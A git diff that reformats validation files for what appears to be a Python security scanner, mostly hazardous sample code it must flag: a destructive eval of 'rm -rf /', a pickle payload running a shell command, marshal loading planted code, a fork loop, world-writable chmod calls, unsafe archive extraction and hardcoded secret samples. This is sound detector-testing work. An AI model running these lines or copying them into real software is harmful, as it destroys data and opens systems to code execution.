         print("🔚 Cleaning up—`finally` block executed.")
     return result
 
+
 from os import system as clown
-clown('ls -la')
 
-#<LOGGING>
+clown("ls -la")
+
+# <LOGGING>
 import os
-os.popen('malware -all')
+
+os.popen("malware -all")
 bytes_written = os.write(fd, data_to_write)
 bytes_written2 = os.writev(fd, buffers)
 
-import logging.config 
-logging.config.listen(port=DEFAULT_LOGGING_CONFIG_PORT, verify=None) 
+import logging.config
 
+logging.config.listen(port=DEFAULT_LOGGING_CONFIG_PORT, verify=None)
 
-logging.config.fileConfig(fname, defaults=None, disable_existing_loggers=True, encoding=None)
-#<END LOGGING checks>
 
-#tarfile extractall is not secure by default
+logging.config.fileConfig(
+    fname, defaults=None, disable_existing_loggers=True, encoding=None
+)
+# <END LOGGING checks>
+
+# tarfile extractall is not secure by default
 import tarfile
 
+
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, 'r:gz') as tar:
+    with tarfile.open(file_path, "r:gz") as tar:
         tar.extractall(path=extract_path)
 
+
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, 'r:gz') as donot:
+    with tarfile.open(file_path, "r:gz") as donot:
         donot.extractall(path=extract_path)
 
+
 def func():
-    with tarfile.open('archive.tar', 'r') as tf:
+    with tarfile.open("archive.tar", "r") as tf:
         # Extract a specific file (replace 'file.txt' with actual member name)
-        tf.extract('file.txt')         
+        tf.extract("file.txt")
         # Extract all files
         tf.extractall()
 
@@ -189,24 +204,29 @@ class MyExtractor:
     def extractall(self, path):
         print(f"Extracting files to: {path}")
 
+
 extractor = MyExtractor()
 extractor.extractall("/some/directory")
 
+
 class MyAcess:
     def access(self, path):
         print(f"Check on acces use ")
 
+
 own_access = MyAcess()
 own_access.access("wortel")
 
+from xmlrpc.server import SimpleXMLRPCServer
+
+import linkaudit
 import pandas as pd
-import linkaudit 
 
-from xmlrpc.server import SimpleXMLRPCServer
 
 def is_even(n):
     return n % 2 == 0
 
+
 server = SimpleXMLRPCServer(("localhost", 8000))
 print("Listening on port 8000...")
 server.register_function(is_even, "is_even")
@@ -218,54 +238,61 @@ def is_even(n):
     print("3 is even: %s" % str(proxy.is_even(3)))
     print("100 is even: %s" % str(proxy.is_even(100)))
 
-import xmlrpc.server 
+import xmlrpc.server
 
 pid = os.fork()
 
-pid = os.fork() ; pid2 = os.fork() + pid #valid python, since semicolon is allowed 
+pid = os.fork()
+pid2 = os.fork() + pid  # valid python, since semicolon is allowed
 
 
 pid2 = os.fork() + pid
 
-pid3 = pid # os.fork() in comment is and should not give a false positive!
+pid3 = pid  # os.fork() in comment is and should not give a false positive!
 
-pid_zero = os.forkpty() 
+pid_zero = os.forkpty()
 pid = os.fork()
 
 from os import fork as cannothurt
 
-#DO NOT RUN THIS CODE!
+# DO NOT RUN THIS CODE!
 while True and nobreak:
     cannothurt()  # Creates a new child process
 
 
-compile('nasty-string' ,'malware.bin',mode=single, flags=0, dont_inherit=False, optimize=-1)
+compile(
+    "nasty-string", "malware.bin", mode=single, flags=0, dont_inherit=False, optimize=-1
+)
 
 import base64
-encoded = base64.b64encode(b'data to be encoded')
+
+encoded = base64.b64encode(b"data to be encoded")
 data = base64.b64decode(encoded)
 
 from http.server import BaseHTTPRequestHandler, HTTPServer
 
+
 # Define a custom request handler
 class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
     """
     A simple HTTP request handler that responds to GET requests.
     """
+
     def do_GET(self):
         """
         Handles GET requests by sending a 200 OK response
         and "Hello, World!" as the body.
         """
         self.send_response(200)  # Send HTTP status code 200 (OK)
-        self.send_header('Content-type', 'text/html') # Set the content type header
-        self.end_headers() # End the headers section
+        self.send_header("Content-type", "text/html")  # Set the content type header
+        self.end_headers()  # End the headers section
 
         # The message to send back to the client
         message = "Hello, World!"
         # Write the message to the response body, encoded as bytes
         self.wfile.write(bytes(message, "utf8"))
 
+
 # The function to run the HTTP server
 def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
     """
@@ -275,26 +302,32 @@ def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
         server_class: The server class to use (default: HTTPServer).
         handler_class: The handler class to use (default: BaseHTTPRequestHandler).
     """
-    server_address = ('', 8000) # Server will listen on all available interfaces on port 8000
-    httpd = server_class(server_address, handler_class) # Create an instance of the HTTP server
+    server_address = (
+        "",
+        8000,
+    )  # Server will listen on all available interfaces on port 8000
+    httpd = server_class(
+        server_address, handler_class
+    )  # Create an instance of the HTTP server
     print(f"Starting httpd server on port {server_address[1]}...")
-    httpd.serve_forever() # Start the server and keep it running indefinitely
-
+    httpd.serve_forever()  # Start the server and keep it running indefinitely
 
 
 import multiprocessing
 import time
 
+
 def sender_process(connection, message):
     """
     This function runs in a separate process and sends a message
     through the provided Connection object.
     """
     print(f"Sender process: Sending '{message}'")
-    connection.send(message) # Send the message through the connection
-    connection.close() # Close the connection after sending
+    connection.send(message)  # Send the message through the connection
+    connection.close()  # Close the connection after sending
     print("Sender process: Message sent and connection closed.")
 
+
 def receiver_process(connection):
     """
     This function runs in a separate process and receives data
@@ -305,49 +338,59 @@ def receiver_process(connection):
     # This call blocks until data is available.
     received_data = connection.recv()
     print(f"Receiver process: Received '{received_data}'")
-    connection.close() # Close the connection after receiving
+    connection.close()  # Close the connection after receiving
     print("Receiver process: Connection closed.")
 
-from multiprocessing import Process, Pipe
+
+from multiprocessing import Pipe, Process
+
 
 def f(conn):
-    conn.send([42, None, 'hello'])
-    conn.close()    
-    print(parent_conn.recv())   # prints "[42, None, 'hello']"
-    
+    conn.send([42, None, "hello"])
+    conn.close()
+    print(parent_conn.recv())  # prints "[42, None, 'hello']"
+
+
 import pickle
+
 pickle.loads(b"cos\nsystem\n(S'echo hello world'\ntR.")
 
+
 def donotdothis():
-    with open('data.pickle', 'rb') as f:
+    with open("data.pickle", "rb") as f:
         data = pickle.load(f)
 
+
 from pickle import loads as importmalware
 
-importmalware('mysafefile.txt')
+importmalware("mysafefile.txt")
 
 import random
 
+
 def generate_random_float():
-  """
-  Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
+    """
+    Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
+
+    The random.random() function from Python's built-in 'random' module is used
+    to produce this number.
 
-  The random.random() function from Python's built-in 'random' module is used
-  to produce this number.
+    Returns:
+      float: A random float between 0.0 and 1.0.
+    """
+    random.seed(23)
+    random_number = random.random()
+    return random_number
 
-  Returns:
-    float: A random float between 0.0 and 1.0.
-  """
-  random.seed(23)
-  random_number = random.random()
-  return random_number
 
 import shelve
-with shelve.open('spam') as db:
-    db['eggs'] = 'eggs'
 
-import zipfile
+with shelve.open("spam") as db:
+    db["eggs"] = "eggs"
+
 import os
+import zipfile
+
 
 def insecure_extract(zip_path, extract_to_dir):
     """
@@ -356,26 +399,28 @@ def insecure_extract(zip_path, extract_to_dir):
     """
     print(f"--- INSECURE EXTRACTION of {zip_path} to {extract_to_dir} ---")
     os.makedirs(extract_to_dir, exist_ok=True)
-    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
+    with zipfile.ZipFile(zip_path, "r") as zip_ref:
         # This line is the vulnerability: it extracts directly without path validation.
         zip_ref.extractall(extract_to_dir)
     print("Extraction attempted (might be insecure).")
 
 
-with ZipFile('spam.zip') as myzip:
-    with myzip.open('eggs.txt') as myfile:
+with ZipFile("spam.zip") as myzip:
+    with myzip.open("eggs.txt") as myfile:
         print(myfile.read())
 
 import shutil
+
 shutil.unpack_archive("example.zip", "extracted_files", format="zip", filter="data")
 
 # This path should point to the directory you want to delete
-directory_to_delete = 'path/to/your/directory'
+directory_to_delete = "path/to/your/directory"
+
+shutil.rmtree(directory_to_delete)  # risk when path is user supplied or malformed dir!
 
-shutil.rmtree(directory_to_delete) #risk when path is user supplied or malformed dir!
 
+from shutil import copy as stealmydata
 
-from shutil import copy as stealmydata 
 stealmydata("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
 
 
@@ -386,32 +431,40 @@ def load_marshalled_data(filepath: str, allow_code: bool = False):
     WARNING: Using allow_code=True with untrusted data is a severe security risk
     as it can execute arbitrary code. Only set allow_code=True if you
     absolutely trust the source of the marshalled file.
-   
+
     """
     if not os.path.exists(filepath):
         raise FileNotFoundError(f"Error: File not found at '{filepath}'")
-     
-    nastyobjects = marshal.loads('/tmp/plantedmalware.obj', allow_code=True)
+
+    nastyobjects = marshal.loads("/tmp/plantedmalware.obj", allow_code=True)
     print(nastyobjects)
 
     try:
-        with open(filepath, 'rb') as f:
+        with open(filepath, "rb") as f:
             # The allow_code parameter is passed directly to marshal.load()
             loaded_object = marshal.load(f, allow_code=allow_code)
         return loaded_object
     except ValueError as e:
-        print(f"Error loading marshalled data: {e}. "
-              f"This might be due to 'allow_code=False' and the file containing code objects.", file=sys.stderr)
+        print(
+            f"Error loading marshalled data: {e}. "
+            f"This might be due to 'allow_code=False' and the file containing code objects.",
+            file=sys.stderr,
+        )
         raise
     except EOFError:
         print(f"Error: File '{filepath}' is empty or truncated.", file=sys.stderr)
         raise
     except Exception as e:
-        print(f"An unexpected error occurred while loading '{filepath}': {e}", file=sys.stderr)
+        print(
+            f"An unexpected error occurred while loading '{filepath}': {e}",
+            file=sys.stderr,
+        )
         raise
 
+
 """checking catching of sys things that are dangerous in normal programs"""
-import sys 
+import sys
+
 
 def my_func(x, y):
     print("Inside my_func")
@@ -419,17 +472,20 @@ def my_func(x, y):
     print(f"Result is {result}")
     return result
 
+
 def run_with_profile():
     sys.setprofile(profile_func)
     result = my_func(5, 7)
     sys.setprofile(None)  # Turn off profiling
     print(f"Result: {result}")
 
+
 def run_with_trace2():
     sys.settrace(trace_func)
     my_func(2, 3)
     sys.settrace(None)  # Disable tracing
 
+
 import tempfile
 
 temp_filename = tempfile.mktemp()
@@ -438,7 +494,7 @@ def run_with_trace2():
 import gzip as untrusteddanger
 
 content = b"Lots of content here"
-with untrusteddanger.open('/home/joe/file.txt.gz', 'wb') as f:
+with untrusteddanger.open("/home/joe/file.txt.gz", "wb") as f:
     f.write(content)
 
 import bz2
@@ -450,8 +506,8 @@ def run_with_trace2():
 
 print(f"Content read from the file: '{read_data}'")
 
-#now with the class function
-with bz2.BZ2File("demo.bz2", mode='r') as f:
+# now with the class function
+with bz2.BZ2File("demo.bz2", mode="r") as f:
     content = f.read()
 
 
@@ -464,24 +520,23 @@ def run_with_trace2():
 print(f"Original data: {data}\n")
 
 # Compress and write data to a file
-with lzma.open(compressed_filename, 'wb') as f:
+with lzma.open(compressed_filename, "wb") as f:
     f.write(data)
 
 print("Data has been compressed and written to 'example.xz'.")
 
 # Decompress and read data from the file
-with lzma.open(compressed_filename, 'rb') as f:
+with lzma.open(compressed_filename, "rb") as f:
     decompressed_data = f.read()
 
 print(f"Decompressed data: {decompressed_data}")
 
 # You would need to manually delete 'example.xz' after running this code.
 
-#Reading using lzma.LZMAFILE class
+# Reading using lzma.LZMAFILE class
 
 
-with lzma.LZMAFile("demo.xz", mode='r') as f:
+with lzma.LZMAFile("demo.xz", mode="r") as f:
     content = f.read()
 
 print(f"Content read from the file: {content.decode()}")
-
diff --git a/tests/validationfiles/apivalidations.py b/tests/validationfiles/apivalidations.py
index e01f8b3..b7528ea 100644
--- a/tests/validationfiles/apivalidations.py
+++ b/tests/validationfiles/apivalidations.py
@@ -1,54 +1,57 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key" #simple static assingment #1
-config.api_key = os.getenv("API_KEY") #environmental sourcing #2
-secrets["token"] = get_token() # dynamic assignment using a function #3
-xecretx["tokes"] = get_token() # dynamic assignment using a function #4
+API_KEY = "static_key"  # simple static assingment #1
+config.api_key = os.getenv("API_KEY")  # environmental sourcing #2
+secrets["token"] = get_token()  # dynamic assignment using a function #3
+xecretx["tokes"] = get_token()  # dynamic assignment using a function #4
 
-my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token() #5
-API_KEY = load_secret() #match on API_key  #6
+my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token()  # 5
+API_KEY = load_secret()  # match on API_key  #6
 
-credential = DefaultAzureCredential() #7
+credential = DefaultAzureCredential()  # 7
 
-client = SecretClient(vault_url=vault_url, credential=credential) #8
+client = SecretClient(vault_url=vault_url, credential=credential)  # 8
 
 # The function call
-retrieved_secret = client.get_secret("my-secret-name") #9 
+retrieved_secret = client.get_secret("my-secret-name")  # 9
 
 
-token="token_234r34r" 
-api_key="AIza.*" #10
-JWT_SECRET=".*strange#pasword" #11
+token = "token_234r34r"
+api_key = "AIza.*"  # 10
+JWT_SECRET = ".*strange#pasword"  # 11
 
 import shitlib
-shitlib.init(
-api_key='shitlib_abc123def456', #12
-project='your-package-name'
-)
 
-variable =1
+shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")  # 12
+
+variable = 1
+
 
 def my_function():
-    var1,var2=APP_SECRET # This assignment will not be found , often not a SaaS key assignment
-    var3=token #often not a thing, especially in NLP modules
-
-
-paid1 = os.getenv("apikey") #a possible API key #13
-paid1 = os.getenv("HUGGINGFACE_API_TOKEN") #a possible API key #14
-paid1 = get_secretz("KEY")    #a possible API key is **NOT** detected for now! Due to false positives on key label!
-paid1 = config.get("DEEPSEEK_API_KEY")    #a possible API key #15 
-
-author='Amazon Web Services' #auth in 'author' should not be found as secret 
-__author__ = 'Amazon Web Services' #auth in 'author' should not be found as secret 
-
-client = self.client( #16
-            service_name,
-            region_name=region_name,
-            api_version=api_version,
-            use_ssl=use_ssl,
-            verify=verify,
-            endpoint_url=endpoint_url,
-            aws_access_key_id=aws_access_key_id, #17
-            aws_secret_access_key=aws_secret_access_key, #18
-            aws_session_token=aws_session_token, #19
-            config=config,
-        ) # secrets will be found, but not shown in codesnippet (only 3 lines are shown!)
+    var1, var2 = (
+        APP_SECRET  # This assignment will not be found , often not a SaaS key assignment
+    )
+    var3 = token  # often not a thing, especially in NLP modules
+
+
+paid1 = os.getenv("apikey")  # a possible API key #13
+paid1 = os.getenv("HUGGINGFACE_API_TOKEN")  # a possible API key #14
+paid1 = get_secretz(
+    "KEY"
+)  # a possible API key is **NOT** detected for now! Due to false positives on key label!
+paid1 = config.get("DEEPSEEK_API_KEY")  # a possible API key #15
+
+author = "Amazon Web Services"  # auth in 'author' should not be found as secret
+__author__ = "Amazon Web Services"  # auth in 'author' should not be found as secret
+
+client = self.client(  # 16
+    service_name,
+    region_name=region_name,
+    api_version=api_version,
+    use_ssl=use_ssl,
+    verify=verify,
+    endpoint_url=endpoint_url,
+    aws_access_key_id=aws_access_key_id,  # 17
+    aws_secret_access_key=aws_secret_access_key,  # 18
+    aws_session_token=aws_session_token,  # 19
+    config=config,
+)  # secrets will be found, but not shown in codesnippet (only 3 lines are shown!)
diff --git a/tests/validationfiles/assert.py b/tests/validationfiles/assert.py
index 58c003c..b87aa94 100644
--- a/tests/validationfiles/assert.py
+++ b/tests/validationfiles/assert.py
@@ -1,10 +1,10 @@
-
 def divide(a, b):
     # Assert that the divisor 'b' is not zero.
     # If 'b' is 0, an AssertionError will be raised with the given message.
     assert b != 0, "Cannot divide by zero!"
     return a / b
 
+
 # --- Example Usage ---
 
 # This call will work correctly because b is not zero.
diff --git a/tests/validationfiles/base64.py b/tests/validationfiles/base64.py
index 66077d9..7400fb8 100644
--- a/tests/validationfiles/base64.py
+++ b/tests/validationfiles/base64.py
@@ -1,4 +1,5 @@
 import base64
-encoded = base64.b64encode(b'data to be encoded')
+
+encoded = base64.b64encode(b"data to be encoded")
 data = base64.b64decode(encoded)
-print(data)
\ No newline at end of file
+print(data)
diff --git a/tests/validationfiles/chmod_things.py b/tests/validationfiles/chmod_things.py
index 66017f3..29779c1 100644
--- a/tests/validationfiles/chmod_things.py
+++ b/tests/validationfiles/chmod_things.py
@@ -1,16 +1,18 @@
-import os 
+import os
+
 
 def donotrunthis():
-     """testfile for codeaudit"""
-     if os.access("myfile", os.R_OK):
+    """testfile for codeaudit"""
+    if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-        os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
-        myfile='/tmp/notmine.obj'
+        os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
+        myfile = "/tmp/notmine.obj"
         print(f"Permissions for '{myfile}' set to 644 (octal).")
 
         return "some default data"
 
+
 def chmod(a, b):
     chmod("file.txt", 0x777)
     pass
@@ -18,12 +20,14 @@ def chmod(a, b):
 
 from os import chmod as yourfilesaremine
 
+
 def lunchmode():
     """function has chmode in name , but should not give a false positive on function name!"""
-    yourfilesaremine( '*',0x777)
+    yourfilesaremine("*", 0x777)
     chmodulus = "/usr/bin/*"
     chmodel = yourfilesaremine(chmodulus, 0x777)
 
+
 """So even when masking chmod from the import, codeaudit will find it!
 And variables with strings *chmod* in it, will be possible. We do not search on strings and variable names. This will give false positives. Always!
-"""
\ No newline at end of file
+"""
diff --git a/tests/validationfiles/complexitycheck.py b/tests/validationfiles/complexitycheck.py
index 7b44bdd..e53ac66 100644
--- a/tests/validationfiles/complexitycheck.py
+++ b/tests/validationfiles/complexitycheck.py
@@ -13,6 +13,8 @@
  = 4
 
 """
+
+
 def test(x):
     if x > 0 and x < 10:
         print("Single digit positive")
diff --git a/tests/validationfiles/correctcounts.py b/tests/validationfiles/correctcounts.py
index d48bbd0..d7f5ac7 100644
--- a/tests/validationfiles/correctcounts.py
+++ b/tests/validationfiles/correctcounts.py
@@ -17,8 +17,9 @@
 along with this program.  If not, see <https://www.gnu.org/licenses/>.
 """
 
-import fire
 import os
+
+import fire
 import nbformat as nbf
 
 
@@ -40,8 +41,8 @@ def create_directory(directory):
 
 
 def create_new_sphinx_project(projectname, author, projectdir):
-    import subprocess
     import os
+    import subprocess
 
     os.chdir(projectdir)  # Note: Directory MUST be empty!
     cmd = subprocess.run(
@@ -99,8 +100,8 @@ def get_commiters_list_of_gitrepro(directory):
     now command used is:  git shortlog --summary --numbered
     It works, but NOT in notebook, due to stdout redirecting issue(goes in zmq pipe)
     """
-    import subprocess
     import os
+    import subprocess
 
     os.chdir(directory)  # Note: Directory MUST be empty!
     cmd = subprocess.run(
diff --git a/tests/validationfiles/directorycreation.py b/tests/validationfiles/directorycreation.py
index 6923ab4..202694a 100644
--- a/tests/validationfiles/directorycreation.py
+++ b/tests/validationfiles/directorycreation.py
@@ -13,7 +13,6 @@ def create_directory(path):
         print(f"Error creating directory {path}: {e}")
 
 
-
 def create_single_directory(path):
     """
     Create a single directory at the specified path.
@@ -69,7 +68,6 @@ def create_file(path):
         print(f"Error creating file {path}: {e}")
 
 
-
 def create_directories(path):
     """
     Create a directory and all necessary parent directories using os.makedirs.
diff --git a/tests/validationfiles/directorycreation2.py b/tests/validationfiles/directorycreation2.py
index 8c49649..a1b8a77 100644
--- a/tests/validationfiles/directorycreation2.py
+++ b/tests/validationfiles/directorycreation2.py
@@ -1,7 +1,7 @@
+import os
 from os import makedirs as smurf
 from os import mkdir as frog
 from os import mkfifo as spider
-import os
 
 
 def create_directory(path):
@@ -16,7 +16,6 @@ def create_directory(path):
         print(f"Error creating directory {path}: {e}")
 
 
-
 def create_single_directory(path):
     """
     Create a single directory at the specified path.
@@ -72,7 +71,6 @@ def create_file(path):
         print(f"Error creating file {path}: {e}")
 
 
-
 def create_directories(path):
     """
     Create a directory and all necessary parent directories using os.makedirs.
diff --git a/tests/validationfiles/eval.py b/tests/validationfiles/eval.py
index 03d8317..07734b6 100644
--- a/tests/validationfiles/eval.py
+++ b/tests/validationfiles/eval.py
@@ -1,30 +1,34 @@
-import os
 import builtins
+import os
 
 b = builtins
 b.exec("2+2")  # flag 1
 
 x = 1
 result = b.eval("x + 2")  # flag 2
-print(result)  
+print(result)
 
-print(eval("1+1")) # flag 3
-print(eval("os.getcwd()")) # flag 4
-print(eval("os.chmod('%s', 0777)" % 'test.txt')) # flag 5
+print(eval("1+1"))  # flag 3
+print(eval("os.getcwd()"))  # flag 4
+print(eval("os.chmod('%s', 0777)" % "test.txt"))  # flag 5
 
 
 # A user-defined method named "eval" should not get flagged.
 class Test(object):
-    def eval(self):   # this will not be flagged
+    def eval(self):  # this will not be flagged
         print("hi")
+
     def foo(self):
         self.eval()  # flag 6 - but a false flag , but since builtins is imported a known issue! So #nosec
 
-Test().eval()  # flag 7 -  due to eval is in contructs list, edge case and hard to solve in a simple way (for now), so marker nosec 
+
+Test().eval()  # flag 7 -  due to eval is in contructs list, edge case and hard to solve in a simple way (for now), so marker nosec
 
 
-eval("os.system('rm -rf /')") # flag 8
+eval("os.system('rm -rf /')")  # flag 8
 
 __builtins__.eval(...)  # flag 9  due to eval statement
 
-nasty  = __import__("builtins").eval     # flag 10 + flag 11  , flag due to __import__  and for eval!
+nasty = __import__(
+    "builtins"
+).eval  # flag 10 + flag 11  , flag due to __import__  and for eval!
diff --git a/tests/validationfiles/eval2.py b/tests/validationfiles/eval2.py
index 14ce516..b04e27e 100644
--- a/tests/validationfiles/eval2.py
+++ b/tests/validationfiles/eval2.py
@@ -1,8 +1,10 @@
 # A user-defined method named "eval" should not get flagged.
 class Test(object):
-    def eval(self): #this line is not flagged!
+    def eval(self):  # this line is not flagged!
         print("hi")
+
     def foo(self):
-        self.eval() #this line is not flagged!
+        self.eval()  # this line is not flagged!
+
 
-Test().eval()  #Only this line is flagged! , solvable by adding a marker. so nosec
+Test().eval()  # Only this line is flagged! , solvable by adding a marker. so nosec
diff --git a/tests/validationfiles/exception.py b/tests/validationfiles/exception.py
index 4ad230c..b2fbdea 100644
--- a/tests/validationfiles/exception.py
+++ b/tests/validationfiles/exception.py
@@ -1,5 +1,6 @@
 """File to validate if pass is used in an except statement"""
 
+
 def divide(a, b):
     """
     Divide a by b, handling ZeroDivisionError explicitly and
@@ -12,13 +13,13 @@ def divide(a, b):
             continue
 
     try:
-        result = a / b                       # May raise ZeroDivisionError
+        result = a / b  # May raise ZeroDivisionError
     except ZeroDivisionError:
         print("❌ Can't divide by zero!")
-        result = None                        # handle and recover
-    except Exception as exc:                 # catches *any* other error
+        result = None  # handle and recover
+    except Exception as exc:  # catches *any* other error
         # In real code, consider logging exc instead of pass
-        pass                                 # swallow the error (not recommended)
+        pass  # swallow the error (not recommended)
         result = None
     else:
         # Runs only if no exception was raised in the try block
@@ -27,4 +28,3 @@ def divide(a, b):
         # Always runs, whether an exception occurred or not
         print("🔚 Cleaning up—`finally` block executed.")
     return result
-
diff --git a/tests/validationfiles/file3.py b/tests/validationfiles/file3.py
index beeabe4..ff17248 100644
--- a/tests/validationfiles/file3.py
+++ b/tests/validationfiles/file3.py
@@ -1,9 +1,9 @@
 import os
-from os import access as acc
 from math import sqrt
+from os import access as acc
+
 eval("print('hi')")
-if os.access("file.txt", os.R_OK): pass
+if os.access("file.txt", os.R_OK):
+    pass
 acc("file.txt")
 os.path.exists("file.txt")
-
-
diff --git a/tests/validationfiles/file_with_warnings.py b/tests/validationfiles/file_with_warnings.py
index f22bbd7..acc0c17 100644
--- a/tests/validationfiles/file_with_warnings.py
+++ b/tests/validationfiles/file_with_warnings.py
@@ -1,28 +1,28 @@
 # coding: utf-8
 
 
-import pandas as pd
 import matplotlib.pyplot as plt
-import seaborn as sns
 import numpy as np
-from sklearn.preprocessing import StandardScaler
-from sklearn.linear_model import LinearRegression
-from sklearn.linear_model import RANSACRegressor
-from sklearn.model_selection import train_test_split
+import pandas as pd
 import scipy as sp
-from sklearn.metrics import r2_score
-from sklearn.metrics import mean_squared_error
-from sklearn.linear_model import Lasso
-from sklearn.linear_model import Ridge
-from sklearn.linear_model import ElasticNet
-from sklearn.preprocessing import PolynomialFeatures
-from sklearn.tree import DecisionTreeRegressor
+import seaborn as sns
 from sklearn.ensemble import RandomForestRegressor
+from sklearn.linear_model import (
+    ElasticNet,
+    Lasso,
+    LinearRegression,
+    RANSACRegressor,
+    Ridge,
+)
+from sklearn.metrics import mean_squared_error, r2_score
+from sklearn.model_selection import train_test_split
+from sklearn.preprocessing import PolynomialFeatures, StandardScaler
+from sklearn.tree import DecisionTreeRegressor
 
 # *Python Machine Learning 2nd Edition* by [Sebastian Raschka](https://sebastianraschka.com), Packt Publishing Ltd. 2017
-# 
+#
 # Code Repository: https://github.com/rasbt/python-machine-learning-book-2nd-edition
-# 
+#
 # Code License: [MIT License](https://github.com/rasbt/python-machine-learning-book-2nd-edition/blob/master/LICENSE.txt)
 
 # # Python Machine Learning - Code Examples
@@ -32,17 +32,14 @@
 # Note that the optional watermark extension is a small IPython notebook plugin that I developed to make the code reproducible. You can just skip the following line(s).
 
 
-
-
-
 # *The use of `watermark` is optional. You can install this IPython extension via "`pip install watermark`". For more information, please see: https://github.com/rasbt/watermark.*
 
-# The seaborn package, a visualization library built on top of matplotlib, can be installed via 
-# 
+# The seaborn package, a visualization library built on top of matplotlib, can be installed via
+#
 #     conda install seaborn
-# 
-# or 
-# 
+#
+# or
+#
 #     pip install seaborn
 
 
@@ -67,39 +64,28 @@
 # - [Summary](#Summary)
 
 
-
-
-
-
 # # Introducing linear regression
 
 # ## Simple linear regression
 
 
-
-
-
 # ## Multiple linear regression
 
 
-
-
-
-
 # # Exploring the Housing dataset
 
 # ## Loading the Housing dataset into a data frame
 
 # Description, which was previously available at: [https://archive.ics.uci.edu/ml/datasets/Housing](https://archive.ics.uci.edu/ml/datasets/Housing)
-# 
+#
 # Attributes:
-#     
+#
 # <pre>
 # 1. CRIM      per capita crime rate by town
-# 2. ZN        proportion of residential land zoned for lots over 
+# 2. ZN        proportion of residential land zoned for lots over
 #                  25,000 sq.ft.
 # 3. INDUS     proportion of non-retail business acres per town
-# 4. CHAS      Charles River dummy variable (= 1 if tract bounds 
+# 4. CHAS      Charles River dummy variable (= 1 if tract bounds
 #                  river; 0 otherwise)
 # 5. NOX       nitric oxides concentration (parts per 10 million)
 # 6. RM        average number of rooms per dwelling
@@ -108,37 +94,50 @@
 # 9. RAD       index of accessibility to radial highways
 # 10. TAX      full-value property-tax rate per $10,000
 # 11. PTRATIO  pupil-teacher ratio by town
-# 12. B        1000(Bk - 0.63)^2 where Bk is the proportion of blacks 
+# 12. B        1000(Bk - 0.63)^2 where Bk is the proportion of blacks
 #                  by town
 # 13. LSTAT    % lower status of the population
 # 14. MEDV     Median value of owner-occupied homes in $1000s
 # </pre>
 
 
-
-
-df = pd.read_csv('https://raw.githubusercontent.com/rasbt/'
-                 'python-machine-learning-book-2nd-edition'
-                 '/master/code/ch10/housing.data.txt',
-                 header=None,
-                 sep='\s+')
-
-df.columns = ['CRIM', 'ZN', 'INDUS', 'CHAS', 
-              'NOX', 'RM', 'AGE', 'DIS', 'RAD', 
-              'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV']
+df = pd.read_csv(
+    "https://raw.githubusercontent.com/rasbt/"
+    "python-machine-learning-book-2nd-edition"
+    "/master/code/ch10/housing.data.txt",
+    header=None,
+    sep="\s+",
+)
+
+df.columns = [
+    "CRIM",
+    "ZN",
+    "INDUS",
+    "CHAS",
+    "NOX",
+    "RM",
+    "AGE",
+    "DIS",
+    "RAD",
+    "TAX",
+    "PTRATIO",
+    "B",
+    "LSTAT",
+    "MEDV",
+]
 df.head()
 
 
-# 
+#
 # ### Note:
-# 
-# 
+#
+#
 # You can find a copy of the housing dataset (and all other datasets used in this book) in the code bundle of this book, which you can use if you are working offline or the UCI server at https://archive.ics.uci.edu/ml/machine-learning-databases/housing/housing.data is temporarily unavailable. For instance, to load the housing dataset from a local directory, you can replace the lines
 # df = pd.read_csv('https://archive.ics.uci.edu/ml/'
 #                  'machine-learning-databases'
 #                  '/housing/housing.data',
 #                  sep='\s+')
-# in the following code example by 
+# in the following code example by
 # df = pd.read_csv('./housing.data',
 #                  sep='\s+')
 
@@ -146,12 +145,7 @@
 # ## Visualizing the important characteristics of a dataset
 
 
-
-
-
-
-
-cols = ['LSTAT', 'INDUS', 'NOX', 'RM', 'MEDV']
+cols = ["LSTAT", "INDUS", "NOX", "RM", "MEDV"]
 
 sns.pairplot(df[cols], size=2.5)
 plt.tight_layout()
@@ -159,27 +153,24 @@
 plt.show()
 
 
-
-
-
-
 cm = np.corrcoef(df[cols].values.T)
-#sns.set(font_scale=1.5)
-hm = sns.heatmap(cm,
-                 cbar=True,
-                 annot=True,
-                 square=True,
-                 fmt='.2f',
-                 annot_kws={'size': 15},
-                 yticklabels=cols,
-                 xticklabels=cols)
+# sns.set(font_scale=1.5)
+hm = sns.heatmap(
+    cm,
+    cbar=True,
+    annot=True,
+    square=True,
+    fmt=".2f",
+    annot_kws={"size": 15},
+    yticklabels=cols,
+    xticklabels=cols,
+)
 
 plt.tight_layout()
 # plt.savefig('images/10_04.png', dpi=300)
 plt.show()
 
 
-
 # # Implementing an ordinary least squares linear regression model
 
 # ...
@@ -187,7 +178,6 @@
 # ## Solving regression for regression parameters with gradient descent
 
 
-
 class LinearRegressionGD(object):
 
     def __init__(self, eta=0.001, n_iter=20):
@@ -200,7 +190,7 @@ def fit(self, X, y):
 
         for i in range(self.n_iter):
             output = self.net_input(X)
-            errors = (y - output)
+            errors = y - output
             self.w_[1:] += self.eta * X.T.dot(errors)
             self.w_[0] += self.eta * errors.sum()
             cost = (errors**2).sum() / 2.0
@@ -214,14 +204,8 @@ def predict(self, X):
         return self.net_input(X)
 
 
-
-
-X = df[['RM']].values
-y = df['MEDV'].values
-
-
-
-
+X = df[["RM"]].values
+y = df["MEDV"].values
 
 
 sc_x = StandardScaler()
@@ -230,46 +214,34 @@ def predict(self, X):
 y_std = sc_y.fit_transform(y[:, np.newaxis]).flatten()
 
 
-
-
 lr = LinearRegressionGD()
 lr.fit(X_std, y_std)
 
 
-
-
-plt.plot(range(1, lr.n_iter+1), lr.cost_)
-plt.ylabel('SSE')
